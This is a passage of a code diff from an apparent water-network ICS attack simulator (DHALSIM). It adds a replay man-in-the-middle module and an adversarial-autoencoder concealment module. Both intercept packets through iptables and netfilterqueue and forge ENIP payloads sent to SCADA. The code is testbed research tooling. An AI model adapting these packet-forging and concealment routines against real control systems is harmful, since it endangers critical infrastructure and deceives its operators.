f"{self.intermediate_attack['gateway_ip']}") + + self.modify_ip_tables(False) + self.logger.debug(f"Restored ARP") + + self.logger.debug("Stopping nfqueue subprocess...") + self.nfqueue_process.send_signal(signal.SIGINT) + self.nfqueue_process.wait() + if self.nfqueue_process.poll() is None: + self.nfqueue_process.terminate() + if self.nfqueue_process.poll() is None: + self.nfqueue_process.kill() + + def attack_step(self): + """Polls the NetFilterQueue subprocess and sends a signal to stop it when teardown is called""" + pass + + + @staticmethod + def modify_ip_tables(append=True): + + if append: + os.system(f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1') + + os.system('iptables -A FORWARD -p icmp -j DROP') + os.system('iptables -A INPUT -p icmp -j DROP') + os.system('iptables -A OUTPUT -p icmp -j DROP') + else: + + os.system(f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1') + os.system(f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1') + + os.system('iptables -D FORWARD -p icmp -j DROP') + os.system('iptables -D INPUT -p icmp -j DROP') + os.system('iptables -D OUTPUT -p icmp -j DROP') + +def is_valid_file(parser_instance, arg): + """Verifies whether the intermediate yaml path is valid.""" + if not os.path.exists(arg): + parser_instance.error(arg + " does not exist") + else: + return arg + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Start everything for an attack') + parser.add_argument(dest="intermediate_yaml", + help="intermediate yaml file", metavar="FILE", + type=lambda x: is_valid_file(parser, x)) + parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml", + type=int, + metavar="N") + + args = parser.parse_args() + + attack = ReplayMiTMAttack( + intermediate_yaml_path=Path(args.intermediate_yaml), + yaml_index=args.index) + attack.main_loop() diff --git a/dhalsim/network_attacks/replay_mitm_netfilter_queue.py b/dhalsim/network_attacks/replay_mitm_netfilter_queue.py new file mode 100644 index 00000000..2e9dc075 --- /dev/null +++ b/dhalsim/network_attacks/replay_mitm_netfilter_queue.py @@ -0,0 +1,104 @@ +from dhalsim.network_attacks.mitm_netfilter_queue_subprocess import PacketQueue +import argparse +from pathlib import Path + +import os +import sys + +from scapy.layers.inet import IP, TCP +from scapy.packet import Raw + +from dhalsim.network_attacks.utilities import translate_payload_to_float, translate_float_to_payload +import pandas as pd +import numpy as np + + +class ReplayMiTMNetfilterQueue(PacketQueue): + + def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int ): + super().__init__(intermediate_yaml_path, yaml_index, queue_number) + self.captured_pkts = [] + self.captured_packets_pd = pd.DataFrame(columns=['Packet']) + + self.replay_duration = int(self.intermediate_attack['capture_end']) - \ + int(self.intermediate_attack['capture_start']) + + def capture(self, packet): + """ + This function is the function that will run in the thread started in the setup function. + + For every packet that enters the netfilterqueue, it will check its length. If the length is + in between 102, we are dealing with a CIP packet. We then change the payload of that + packet and delete the original checksum. + :param packet: The captured packet. + """ + try: + p = IP(packet.get_payload()) + if 'TCP' in p: + if p[IP].src == self.intermediate_attack['public_ip']: + self.logger.debug('Targeting IP: ' + self.intermediate_attack['public_ip'] + + 'of target ' + str(self.intermediate_attack['target'])) + + current_clock = int(self.get_master_clock()) + + # Capture phase + if int(self.intermediate_attack['capture_start']) <= current_clock < \ + int(self.intermediate_attack['capture_end']): + self.captured_packets_pd.loc[current_clock, 'Packet'] = p[Raw].load + self.logger.debug('Captured packet: at ' + str(current_clock)) + + # Replay phase + if int(self.intermediate_attack['replay_start']) <= current_clock < \ + int(self.intermediate_attack['replay_start']) + self.replay_duration: + self.logger.debug('Replaying payload') + replay_position = int(self.intermediate_attack['capture_start']) + current_clock -\ + int(self.intermediate_attack['replay_start']) + + # Maybe we did not captured a value for that tag at that iteration + if replay_position in self.captured_packets_pd.index: + validated_replay_position = replay_position + else: + # todo: There could be a case where the index exists, but the value is Nan + validated_replay_position = min(self.captured_packets_pd.index, + key=lambda x: abs(x - replay_position)) + + del p[IP].chksum + del p[TCP].chksum + p[Raw].load = self.captured_packets_pd.loc[validated_replay_position]['Packet'] + + self.logger.debug(f"Packet replayed for {p[IP].dst}.") + + packet.accept() + except Exception as exc: + print(exc) + if self.nfqueue: + self.nfqueue.unbind() + sys.exit(0) + +def is_valid_file(parser_instance, arg): + """Verifies whether the intermediate yaml path is valid.""" + if not os.path.exists(arg): + parser_instance.error(arg + " does not exist") + else: + return arg + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Start everything for an attack') + parser.add_argument(dest="intermediate_yaml", + help="intermediate yaml file", metavar="FILE", + type=lambda x: is_valid_file(parser, x)) + parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml", + type=int, + metavar="N") + parser.add_argument(dest="number", help="Number of que queue configured in IP Tables", + type=int, + metavar="N") + + args = parser.parse_args() + + attack = ReplayMiTMNetfilterQueue( + intermediate_yaml_path=Path(args.intermediate_yaml), + yaml_index=args.index, + queue_number=args.number) + attack.main_loop() + diff --git a/dhalsim/network_attacks/synced_attack.py b/dhalsim/network_attacks/synced_attack.py index acb6272d..96779779 100644 --- a/dhalsim/network_attacks/synced_attack.py +++ b/dhalsim/network_attacks/synced_attack.py @@ -38,12 +38,13 @@ class SyncedAttack(metaclass=ABCMeta): :param yaml_index: The intermediate yaml has a list of network attacks. This number is the index of this attack. :type yaml_index: int + :type sync: bool Flag to indicate if the sync is handled by this module. If false, another module should do the sync """ DB_TRIES = 10 """Amount of times a db query will retry on a exception""" - def __init__(self, intermediate_yaml_path: Path, yaml_index: int): + def __init__(self, intermediate_yaml_path: Path, yaml_index: int, sync: bool = True): signal.signal(signal.SIGINT, self.sigint_handler) signal.signal(signal.SIGTERM, self.sigint_handler) @@ -78,6 +79,7 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int): self.state = 0 self.db_sleep_time = random.uniform(0.01, 0.1) + self.sync = sync def sigint_handler(self, sig, frame): """Interrupt handler for attacker being stoped""" @@ -280,34 +282,50 @@ def set_attack_flag(self, flag): """ self.db_query("UPDATE attack SET flag=? WHERE name IS ?", True, (int(flag), self.intermediate_attack['name'])) - def main_loop(self): + def main_loop(self, start_now=False): """ The main loop of an attack. """ while True: # flag = 0 means a physical process finished a new iteration - while not self.get_sync(0): - pass + if self.sync: + while not self.get_sync(0): + pass - run = self.check_trigger() + # Modified for the Alessandro's concealment to work properly. + if start_now and int(self.get_master_clock()) > 10: + run = True + else: + run = self.check_trigger() + + # todo: When should we set the flag attack when using Alessandro's concealment attack self.set_attack_flag(run) if self.state == 0: if run: self.state = 1 self.setup() elif self.state == 1 and (not run): + self.logger.debug('Stopping attack') self.state = 0 self.teardown() + self.logger.debug('Teardown sucessful') + + # Re establish sync + if not self.sync: + self.sync = True + self.logger.debug('Sync restablished') # We have to keep the same state machine as PLCs - self.set_sync(1) + if self.sync: + self.set_sync(1) self.attack_step() - while not self.get_sync(2): - pass + if self.sync: + while not self.get_sync(2): + pass - self.set_sync(3) + self.set_sync(3) @abstractmethod def attack_step(self): diff --git a/dhalsim/network_attacks/unconstrained_blackbox_netfilter_queue.py b/dhalsim/network_attacks/unconstrained_blackbox_netfilter_queue.py new file mode 100644 index 00000000..1ba2c2b9 --- /dev/null +++ b/dhalsim/network_attacks/unconstrained_blackbox_netfilter_queue.py @@ -0,0 +1,378 @@ +from dhalsim.network_attacks.mitm_netfilter_queue_subprocess import PacketQueue +import argparse +from pathlib import Path + +import os +import sys + +import pandas as pd + +from scapy.layers.inet import IP, TCP +from scapy.packet import Raw + +from dhalsim.network_attacks.utilities import translate_payload_to_float, translate_float_to_payload +from evasion_attacks.Adversarial_Attacks.Black_Box_Attack.adversarial_AE import Adversarial_AE + +from tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint +from tensorflow.keras.layers import * +from tensorflow.keras.models import * +from tensorflow.keras import optimizers +from tensorflow.keras.callbacks import * +from tensorflow import keras + +# sklearn +from sklearn.model_selection import train_test_split +from sklearn.metrics import mean_squared_error +from sklearn.metrics import accuracy_score, f1_score, roc_curve, auc, precision_score, confusion_matrix, recall_score +from sklearn.preprocessing import MinMaxScaler + +from concealment_ae_model import ConcealmentAE + +import threading +import signal + +import glob + +class Error(Exception): + """Base class for exceptions in this module.""" + + +class ConcealmentError(Error): + """Raised when there is an error in the concealment parameter""" + + +class UnconstrainedBlackBoxMiTMNetfilterQueue(PacketQueue): + + """ Time in seconds to check attack sync flags""" + FLAG_SYNC_UPDATE_TIME = 0.1 + + def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number: int ): + super().__init__(intermediate_yaml_path, yaml_index, queue_number) + + if self.intermediate_attack['persistent'] == 'True': + self.persistent = True + else: + self.persistent = False + + if self.persistent: + self.window_size = 1 + else: + #todo: Adjust it to hydraulic timestep + self.window_size = 6 # This is a function of hydraulic timestep. This is used only for detection + + self.complete_scada_set = False + self.received_window_size = 0 + + # set with all the tags received by SCADA + self.scada_tags = self.get_scada_tags() + + # We can use the same method, as initially the df will be initialized with 0 values + self.calculated_concealment_values_df = self.set_initial_conditions_of_scada_values() + self.calculated_concealment_values_df_historical = [] + + # Initialize input values + self.received_scada_tags_df = self.calculated_concealment_values_df + + # set with the tags we have not received in this iteration + self.missing_scada_tags = list(self.scada_tags) + + self.scada_values = [] + self.scada_session_ids = [] + self.ok_to_conceal = False + + # This flaf ensures that the prediction is called only once per iteration + self.predicted_for_iteration = False + + #toDo: This will be something configured in the YAML file + file_expr = 'training_data/ctown/' + + # Adversarial model for concealment + self.advAE = ConcealmentAE(file_expr) + + try: + self.advAE.generator = load_model('adversarial_models/generator_100_percent.h5') + self.logger.debug('Trained model found') + + except FileNotFoundError: + self.logger.info('No trained model found, training...') + self.advAE.train_model() + self.logger.info('Model trained') + self.advAE.save_model('adversarial_models/generator_100_percent.h5') + self.logger.info('Model saved') + self.advAE.generator = load_model('adversarial_models/generator_100_percent.h5') + + except IOError: + self.logger.info('No trained model found, training...') + self.advAE.train_model() + self.logger.info('Model trained') + self.advAE.save_model('adversarial_models/generator_100_percent.h5') + self.logger.info('Model saved') + self.advAE.generator = load_model('adversarial_models/generator_100_percent.h5') + + self.sync_flag = True + self.sync_thread = threading.Thread(target=self.handle_sync) + self.sync_thread.start() + + def interrupt(self): + self.sync_flag = False + self.logger.debug("Netfilter process interrupted") + + def sigint_handler(self, sig, frame): + """Interrupt handler for attacker being stoped""" + self.logger.debug("Printing concealment values") + conc_path = Path(__file__).parent.absolute() / "concealed_values.csv" + self.calculated_concealment_values_df.to_csv(conc_path, index=False) + self.logger.debug("Netfilter queue process shutting down") + self.interrupt() + + def handle_sync(self): + while self.sync_flag: + # flag = 0 means a physical process finished a new iteration + while (not self.get_sync(0)) and self.sync_flag: + pass + + # We have to keep the same state machine as PLCs + self.set_sync(1) + + # 2 is when the PLCs exchange locally their information + while not self.get_sync(2): + pass + + #self.logger.debug('Sync is 2. Keeping attack sync in 2, until we get all SCADA flags') + + # We stay in 2, to conceal the values exchanged remotely from the PLCs, until we make a prediction + while self.missing_scada_tags and self.sync_flag: + pass + + #self.logger.debug('Setting attack sync in 3') + self.set_sync(3) + + self.logger.debug('Netfilter sync thread while finished') + + def set_initial_conditions_of_scada_values(self): + df = pd.DataFrame(columns=self.scada_tags) + return df + + def get_scada_tags(self): + aux_scada_tags = [] + for PLC in self.intermediate_yaml['plcs']: + if 'sensors' in PLC: + aux_scada_tags.extend(PLC['sensors']) + if 'actuators' in PLC: + aux_scada_tags.extend(PLC['actuators']) + + self.logger.debug('SCADA tags: ' + str(set(aux_scada_tags))) + return set(aux_scada_tags) + + # Delivers a pandas dataframe with ALL SCADA tags + def predict_concealment_values(self): + # This returns 1 row + self.calculated_concealment_values_df = self.advAE.predict(self.received_scada_tags_df) + self.logger.debug('predicting') + + def process_tag_in_missing(self, session, ip_payload): + current_clock = int(self.get_master_clock()) + # We store the value, this df is an input for the concealment ML model + self.received_scada_tags_df.loc[current_clock, session['tag']] = translate_payload_to_float( + ip_payload[Raw].load) + self.missing_scada_tags.remove(session['tag']) + self.logger.debug('Missing tags len after removing: ' + str(len(self.missing_scada_tags))) + + def scada_tag_list_empty(self): + self.logger.debug('SCADA set empty') + + # Wait for sync to take place + while not self.get_sync(3) and self.sync_flag: + #self.logger.debug('Waiting for flag 3') + pass + + self.missing_scada_tags = list(self.scada_tags) + + if self.persistent: + if self.intermediate_attack['trigger']['start'] <= int(self.get_master_clock()) < \ + self.intermediate_attack['trigger']['end']: + self.logger.debug('Adversarial Model initialized and ready to conceal') + self.ok_to_conceal = True + if not self.predicted_for_iteration: + self.predict_concealment_values() + self.logger.debug('Concealment values predicted') + self.predicted_for_iteration = True + else: + self.ok_to_conceal = False + else: + if not self.ok_to_conceal: + self.received_window_size = self.received_window_size + 1 + if self.received_window_size >= self.window_size - 1: + self.ok_to_conceal = True + self.logger.debug('Adversarial Model initialized') + + elif not self.predicted_for_iteration: + self.predict_concealment_values() + self.logger.debug('Concealment values predicted') + self.predicted_for_iteration = True + + def handle_concealment(self, session, ip_payload): + if len(self.missing_scada_tags) == len(self.scada_tags): + # We miss all the tags. Start of a new prediction cycle + self.logger.debug('We miss all the tags. Start of a new prediction cycle') + self.predicted_for_iteration = False + + if session['tag'] in self.missing_scada_tags: + self.process_tag_in_missing(session, ip_payload) + + # Missing set is empty, increase the window count or predict + if not self.missing_scada_tags: + self.scada_tag_list_empty() + + if self.ok_to_conceal: + modified = True + return translate_float_to_payload(self.calculated_concealment_values_df.loc[-1, session['tag']], + ip_payload[Raw].load), modified + else: + modified = False + # We don't conceal before initialization + return ip_payload[Raw].load, modified + + def handle_enip_response(self, ip_payload): + this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder) + this_context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder) + + #self.logger.debug('ENIP response session: ' + str(this_session)) + #self.logger.debug('ENIP response context: ' + str(this_context)) + + #self.logger.debug('ENIP Response for: ' + str(ip_payload[IP].dst)) + + try: + # Concealment values to SCADA + for session in self.scada_session_ids: + if session['session'] == this_session and session['context'] == this_context: + #self.logger.debug('Concealing to SCADA: ' + str(this_session)) + return self.handle_concealment(session, ip_payload) + + except Exception as exc: + self.logger.debug(exc) + + modified = False + return ip_payload, modified + + def handle_enip_request(self, ip_payload): + + # For this concealment, the only valid target is SCADA + #self.logger.debug('ENIP Request from: ' + str(ip_payload[IP].src)) + this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder) + #self.logger.debug('Raw text is: ' + str(ip_payload[Raw].load.decode(encoding='latin-1')[54:60])) + tag_name = ip_payload[Raw].load.decode(encoding='latin-1')[54:60].split(':')[0] + context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder) + + #self.logger.debug('ENIP request for tag: ' + str(tag_name)) + session_dict = {'session': this_session, 'tag': tag_name, 'context': context} + self.logger.debug('session dict: ' + str(session_dict)) + + #self.logger.debug('SCADA Req session') + self.scada_session_ids.append(session_dict) + + def capture(self, packet): + """ + This function is the function that will run in the thread started in the setup function. + + For every packet that enters the netfilterqueue, it will check its length. If the length is + in between 102, we are dealing with a CIP packet. We then change the payload of that + packet and delete the original checksum. + :param packet: The captured packet. + """ + + try: + p = IP(packet.get_payload()) + #self.logger.debug('packet') + if 'TCP' in p: + if len(p) == 102: + p[Raw].load, modified = self.handle_enip_response(p) + if modified: + del p[IP].chksum + del p[TCP].chksum + packet.set_payload(bytes(p)) + packet.accept() + self.logger.debug('Packet modified and accepted') + return + + else: + if len(p) == 118 or len(p) == 116 or len(p) == 120: + self.handle_enip_request(p) + else: + packet.accept() + return + + packet.accept() + + except Exception as exc: + print(exc) + if self.nfqueue: + self.nfqueue.unbind() + sys.exit(0) + + + def get_sync(self, flag): + """ + Get the sync flag of this plc. + On a :code:`sqlite3.OperationalError` it will retry with a max of :code:`DB_TRIES` tries. + Before it reties, it will sleep for :code:`DB_SLEEP_TIME` seconds. + + :return: False if physical process wants the plc to do a iteration, True if not. + + :raise DatabaseError: When a :code:`sqlite3.OperationalError` is still raised after + :code:`DB_TRIES` tries. + """ + res = self.db_query("SELECT flag FROM sync WHERE name IS ?", False, (self.intermediate_attack["name"],)) + return res == flag + + def set_sync(self, flag): + """ + Set this plcs sync flag in the sync table. When this is 1, the physical process + knows this plc finished the requested iteration. + On a :code:`sqlite3.OperationalError` it will retry with a max of :code:`DB_TRIES` tries. + Before it reties, it will sleep for :code:`DB_SLEEP_TIME` seconds. + + :param flag: True for sync to 1, False for sync to 0 + :type flag: bool + + :raise DatabaseError: When a :code:`sqlite3.OperationalError` is still raised after + :code:`DB_TRIES` tries. + """ + self.db_query("UPDATE sync SET flag=? WHERE name IS ?", True, (int(flag), self.intermediate_attack["name"],)) + + def set_attack_flag(self, flag): + """ + Set a flag in the attack table. When it is 1, we know that the attack with the + provided name is currently running. When it is 0, it is not. + + :param flag: True for running to 1, false for running to 0 + """ + self.db_query("UPDATE attack SET flag=? WHERE name IS ?", True, (int(flag), self.intermediate_attack['name'])) + +def is_valid_file(parser_instance, arg): + """Verifies whether the intermediate yaml path is valid.""" + if not os.path.exists(arg): + parser_instance.error(arg + " does not exist") + else: + return arg + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description='Start everything for an attack') + parser.add_argument(dest="intermediate_yaml", + help="intermediate yaml file", metavar="FILE", + type=lambda x: is_valid_file(parser, x)) + parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml", + type=int, + metavar="N") + parser.add_argument(dest="number", help="Number of que queue configured in IP Tables", + type=int, + metavar="N") + + args = parser.parse_args() + + attack = UnconstrainedBlackBoxMiTMNetfilterQueue( + intermediate_yaml_path=Path(args.intermediate_yaml), + yaml_index=args.index, + queue_number=args.number) + attack.main_loop() + diff --git a/dhalsim/parser/config_parser.py b/dhalsim/parser/config_parser.py index 05e7c031..3d2b2f8c 100644 --- a/dhalsim/parser/config_parser.py +++ b/dhalsim/parser/config_parser.py @@ -119,10 +119,6 @@ class SchemaParser: int, Schema(lambda i: i >= 0, error="'replay_start' must be positive."), ), - 'replay_end': And( - int, - Schema(lambda i: i >= 0, error="'replay_end' must be positive."), - ), }, { 'type': And( @@ -142,10 +138,6 @@ class SchemaParser: int, Schema(lambda i: i >= 0, error="'replay_start' must be positive."), ), - 'replay_end': And( - int, - Schema(lambda i: i >= 0, error="'replay_end' must be positive."), - ), }, ) ) @@ -325,6 +317,56 @@ class SchemaParser: }], 'concealment_data': concealment_data }, + { + 'type': And( + str, + Use(str.lower), + 'unconstrained_blackbox_concealment_mitm', + ), + 'name': And( + str, + string_pattern, + Schema(lambda name: 1 <= len(name) <= 20, + error="Length of name must be between 1 and 20, '{}' has invalid length") + ), + Optional('persistent', default='True'): And( + str, + Use(str.lower), + Or(True, False), error="'Persistent' should be one of the following:" + "'True' or 'False'." + ), + 'trigger': trigger, + }, + { + 'type': And( + str, + Use(str.lower), + 'replay_mitm', + ), + 'name': And( + str, + string_pattern, + Schema(lambda name: 1 <= len(name) <= 20, + error="Length of name must be between 1 and 20, '{}' has invalid length") + ), + 'trigger': trigger, + 'target': And( + str, + string_pattern + ), + 'capture_start': And( + int, + Schema(lambda i: i >= 0, error="'capture_start' must be positive."), + ), + 'capture_end': And( + int, + Schema(lambda i: i >= 0, error="'capture_start' must be positive."), + ), + 'replay_start': And( + int, + Schema(lambda i: i >= 0, error="'capture_start' must be positive."), + ), + }, { 'type': And( str, @@ -720,7 +762,12 @@ def generate_network_attacks(self): network_attacks = self.data['attacks']["network_attacks"] for network_attack in network_attacks: # Check existence and validity of target PLC - target = network_attack['target'] + + # This is the only valid target of this attack + if network_attack['type'] == 'unconstrained_blackbox_concealment_mitm': + target = 'scada' + else: + target = network_attack['target'] # Network attacks to SCADA do not need a target plc if target.lower() == 'scada': diff --git a/dhalsim/physical_process.py b/dhalsim/physical_process.py index a3c39795..1f2beea2 100644 --- a/dhalsim/physical_process.py +++ b/dhalsim/physical_process.py @@ -124,6 +124,55 @@ def __init__(self, intermediate_yaml): self.db_sleep_time = random.uniform(0.01, 0.1) self.logger.info("DB Sleep time: " + str(self.db_sleep_time)) + def set_sync(self, flag): + """ + Set this plcs sync flag in the sync table. When this is 1, the physical process + knows this plc finished the requested iteration. + On a :code:`sqlite3.OperationalError` it will retry with a max of :code:`DB_TRIES` tries. + Before it reties, it will sleep for :code:`DB_SLEEP_TIME` seconds. + :param flag: True for sync to 1, False for sync to 0 + :type flag: bool + :raise DatabaseError: When a :code:`sqlite3.OperationalError` is still raised after + :code:`DB_TRIES` tries. + """ + #"UPDATE sync SET flag=2" + self.db_query("UPDATE sync SET flag=?", True, (int(flag),)) + + def db_query(self, query, write=False, parameters=None): + """ + Execute a query on the database + On a :code:`sqlite3.OperationalError` it will retry with a max of :code:`DB_TRIES` tries. + Before it reties, it will sleep for :code:`DB_SLEEP_TIME` seconds. + This is necessary because of the limited concurrency in SQLite. + :param query: The SQL query to execute in the db + :type query: str + :param write: Boolean flag to indicate if this query will write into the database + :param parameters: The parameters to put in the query. This must be a tuple. + :raise DatabaseError: When a :code:`sqlite3.OperationalError` is still raised after + :code:`DB_TRIES` tries. + """ + for i in range(self.DB_TRIES): + try: + with sqlite3.connect(self.data["db_path"]) as conn: + cur = conn.cursor() + if parameters: + cur.execute(query, parameters) + else: + cur.execute(query) + conn.commit() + + if not write: + return cur.fetchone()[0] + else: + return + except sqlite3.OperationalError as exc: + self.logger.info( + "Failed to connect to db with exception {exc}. Trying {i} more times.".format( + exc=exc, i=self.DB_TRIES - i - 1)) + time.sleep(self.db_sleep_time) + + self.logger.error("Failed to connect to db. Tried {i} times.".format(i=self.DB_TRIES)) + raise DatabaseError("Failed to execute db query in database") def prepare_wntr_simulator(self): self.logger.info("Preparing wntr simulation") @@ -577,7 +626,7 @@ def set_to_db(self, what, value): time.sleep(self.db_sleep_time) self.logger.error( "Failed to connect to db. Tried {i} times.".format(i=self.DB_TRIES)) - raise DatabaseError("Failed to get master clock from database") + raise DatabaseError("Failed to set value to database") def get_from_db(self, what): """Returns the first element of the result tuple.""" @@ -645,10 +694,12 @@ def simulate_with_epynet(self, iteration_limit, p_bar): time.sleep(self.WAIT_FOR_FLAG) # Notify the PLCs they can start receiving remote values - with sqlite3.connect(self.data["db_path"]) as conn: - c = conn.cursor() - c.execute("UPDATE sync SET flag=2") - conn.commit() + self.set_sync(2) + + #with sqlite3.connect(self.data["db_path"]) as conn: + # c = conn.cursor() + # c.execute("UPDATE sync SET flag=2") + # conn.commit() # Wait for the PLCs to apply control logic while not self.get_plcs_ready(3): @@ -696,10 +747,11 @@ def simulate_with_epynet(self, iteration_limit, p_bar): self.write_results(self.results_list) # Set sync flags for nodes - with sqlite3.connect(self.data["db_path"]) as conn: - c = conn.cursor() - c.execute("UPDATE sync SET flag=0") - conn.commit() + self.set_sync(0) + #with sqlite3.connect(self.data["db_path"]) as conn: + # c = conn.cursor() + # c.execute("UPDATE sync SET flag=0") + # conn.commit() simulation_time = simulation_time + internal_epynet_step conn = sqlite3.connect(self.data["db_path"]) @@ -722,10 +774,11 @@ def simulate_with_wntr(self, iteration_limit, p_bar): time.sleep(self.WAIT_FOR_FLAG) # Notify the PLCs they can start receiving remote values - with sqlite3.connect(self.data["db_path"]) as conn: - c = conn.cursor() - c.execute("UPDATE sync SET flag=2") - conn.commit() + self.set_sync(2) + #with sqlite3.connect(self.data["db_path"]) as conn: + # c = conn.cursor() + # c.execute("UPDATE sync SET flag=2") + # conn.commit() # Wait for the PLCs to apply control logic while not self.get_plcs_ready(3): @@ -765,10 +818,11 @@ def simulate_with_wntr(self, iteration_limit, p_bar): self.write_results(self.results_list) # Set sync flags for nodes - with sqlite3.connect(self.data["db_path"]) as conn: - c = conn.cursor() - c.execute("UPDATE sync SET flag=0") - conn.commit() + self.set_sync(0) + #with sqlite3.connect(self.data["db_path"]) as conn: + # c = conn.cursor() + # c.execute("UPDATE sync SET flag=0") + # conn.commit() def update_tanks(self, network_state=None): """Update tanks in database.""" diff --git a/dhalsim/python2/automatic_attacker.py b/dhalsim/python2/automatic_attacker.py index 30a7d614..0547285f 100644 --- a/dhalsim/python2/automatic_attacker.py +++ b/dhalsim/python2/automatic_attacker.py @@ -70,15 +70,25 @@ def start_attack(self): """Start a attack process.""" generic_plc_path = None if self.this_attacker_data['type'] == 'mitm': + self.logger.debug("Launching mitm attack script") generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "mitm_attack.py" elif self.this_attacker_data['type'] == 'server_mitm': + self.logger.debug("Launching server mitm attack script") generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "cppo_server_mitm_attack.py" elif self.this_attacker_data['type'] == 'naive_mitm': + self.logger.debug("Launching naive mitm attack script") generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "naive_attack.py" elif self.this_attacker_data['type'] == 'simple_dos': + self.logger.debug("Launching simple dos attack script") generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "simple_dos_attack.py" elif self.this_attacker_data['type'] == 'concealment_mitm': + self.logger.debug("Launching concealmentmitm attack script") generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "concealment_mitm.py" + elif self.this_attacker_data['type'] == 'unconstrained_blackbox_concealment_mitm': + self.logger.debug("Launching blackboc concealment attack script") + generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "black_box_concealment_attack.py" + elif self.this_attacker_data['type'] == 'replay_mitm': + generic_plc_path = Path(__file__).parent.parent.absolute() / "network_attacks" / "replay_mitm.py" else: raise NoSuchAttack("Attack {attack} does not exists.".format(attack=self.this_attacker_data['type'])) diff --git a/dhalsim/python2/generic_plc.py b/dhalsim/python2/generic_plc.py index c6db0a03..c4ac0dd5 100644 --- a/dhalsim/python2/generic_plc.py +++ b/dhalsim/python2/generic_plc.py @@ -224,8 +224,6 @@ def pre_loop(self, sleep=0.5): self.logger.debug(self.intermediate_plc['name'] + ' enters pre_loop') self.db_sleep_time = random.uniform(0.01, 0.1) - reader = True - sensors = self.generate_tags(self.intermediate_plc['sensors']) actuators = self.generate_tags(self.intermediate_plc['actuators']) @@ -372,7 +370,7 @@ def db_query(self, query, write=False, parameters=None): time.sleep(self.db_sleep_time) self.logger.error("Failed to connect to db. Tried {i} times.".format(i=self.DB_TRIES)) - raise DatabaseError("Failed to get master clock from database") + raise DatabaseError("Failed to execute query in database") def get_master_clock(self): """ diff --git a/dhalsim/python2/generic_scada.py b/dhalsim/python2/generic_scada.py index 5d46f30a..f60cf405 100644 --- a/dhalsim/python2/generic_scada.py +++ b/dhalsim/python2/generic_scada.py @@ -290,8 +290,9 @@ def update_cache(self, lock, cache_update_time): while self.update_cache_flag: for plc_ip in self.cache: - # Maintain old values if there could not be uploaded + # Maintain old values if they could not be uploaded try: + #self.logger.debug('polling plc {plc} for tags {tags}'.format(plc=plc_ip, tags=self.plc_data[plc_ip])) values = self.receive_multiple(self.plc_data[plc_ip], plc_ip) with lock: self.cache[plc_ip] = values @@ -302,11 +303,6 @@ def update_cache(self, lock, cache_update_time): ip=plc_ip, e=str(e))) continue - #self.logger.debug( - # "SCADA cache updated for {tags}, with value {values}, from {ip}".format(tags=self.plc_data[plc_ip], - # values=values, - # ip=plc_ip)) - time.sleep(cache_update_time) def main_loop(self, sleep=0.5, test_break=False): diff --git a/dhalsim/python2/topo/complex_topo.py b/dhalsim/python2/topo/complex_topo.py index 823d7ecf..ca8f4ecc 100644 --- a/dhalsim/python2/topo/complex_topo.py +++ b/dhalsim/python2/topo/complex_topo.py @@ -153,9 +153,16 @@ def generate_data(self, data): if 'network_attacks' in self.data.keys(): for attack in data['network_attacks']: - target = next((plc for plc in data['plcs'] if plc['name'] == attack['target']), None) - if attack['target'].lower() == 'scada': + + # This is the only valid target of this attack + if attack['type'] == 'unconstrained_blackbox_concealment_mitm': target = data['scada'] + attack['target'] = 'scada' + else: + target = next((plc for plc in data['plcs'] if plc['name'] == attack['target']), None) + if attack['target'].lower() == 'scada': + target = data['scada'] + if not target: raise NoSuchPlc("The target plc {name} does not exist".format(name=attack['target'])) attack['local_ip'] = "192.168.1." + str(index) diff --git a/dhalsim/python2/topo/simple_topo.py b/dhalsim/python2/topo/simple_topo.py index 1d37c6a3..a12395d5 100644 --- a/dhalsim/python2/topo/simple_topo.py +++ b/dhalsim/python2/topo/simple_topo.py @@ -135,10 +135,15 @@ def generate_data(self, data): if 'network_attacks' in self.data.keys(): for attack in data['network_attacks']: - target = next((plc for plc in data['plcs'] if plc['name'] == attack['target']), - None) - if attack['target'] == 'scada': + # This is the only valid target of this attack + if attack['type'] == 'unconstrained_blackbox_concealment_mitm': target = data['scada'] + attack['target'] = 'scada' + else: + target = next((plc for plc in data['plcs'] if plc['name'] == attack['target']), + None) + if attack['target'] == 'scada': + target = data['scada'] if not target: raise NoSuchPlc( "The target plc {name} does not exist".format(name=attack['target'])) diff --git a/examples/anytown_topology/anytown_config.yaml b/examples/anytown_topology/anytown_config.yaml index 470b551a..13d564aa 100644 --- a/examples/anytown_topology/anytown_config.yaml +++ b/examples/anytown_topology/anytown_config.yaml @@ -6,7 +6,8 @@ plcs: !include anytown_plcs.yaml simulator: epynet demand: pdd -log_level: debug -demand_patterns: demands_anytown_small.csv + +#demand_patterns: demands_anytown_small.csv #attacks: !include anytown_concealment_mitm.yaml attacks: !include anytown_dos.yaml +log_level: debug diff --git a/examples/anytown_topology/anytown_nwk_delay_and_loss.yaml b/examples/anytown_topology/anytown_nwk_delay_and_loss.yaml index 33a314eb..69bfb50c 100644 --- a/examples/anytown_topology/anytown_nwk_delay_and_loss.yaml +++ b/examples/anytown_topology/anytown_nwk_delay_and_loss.yaml @@ -7,4 +7,4 @@ network_events: start: 648 end: 792 loss_value: 10 - delay_value: 4000 + delay_value: 100 diff --git a/examples/anytown_topology/anytown_plcs.yaml 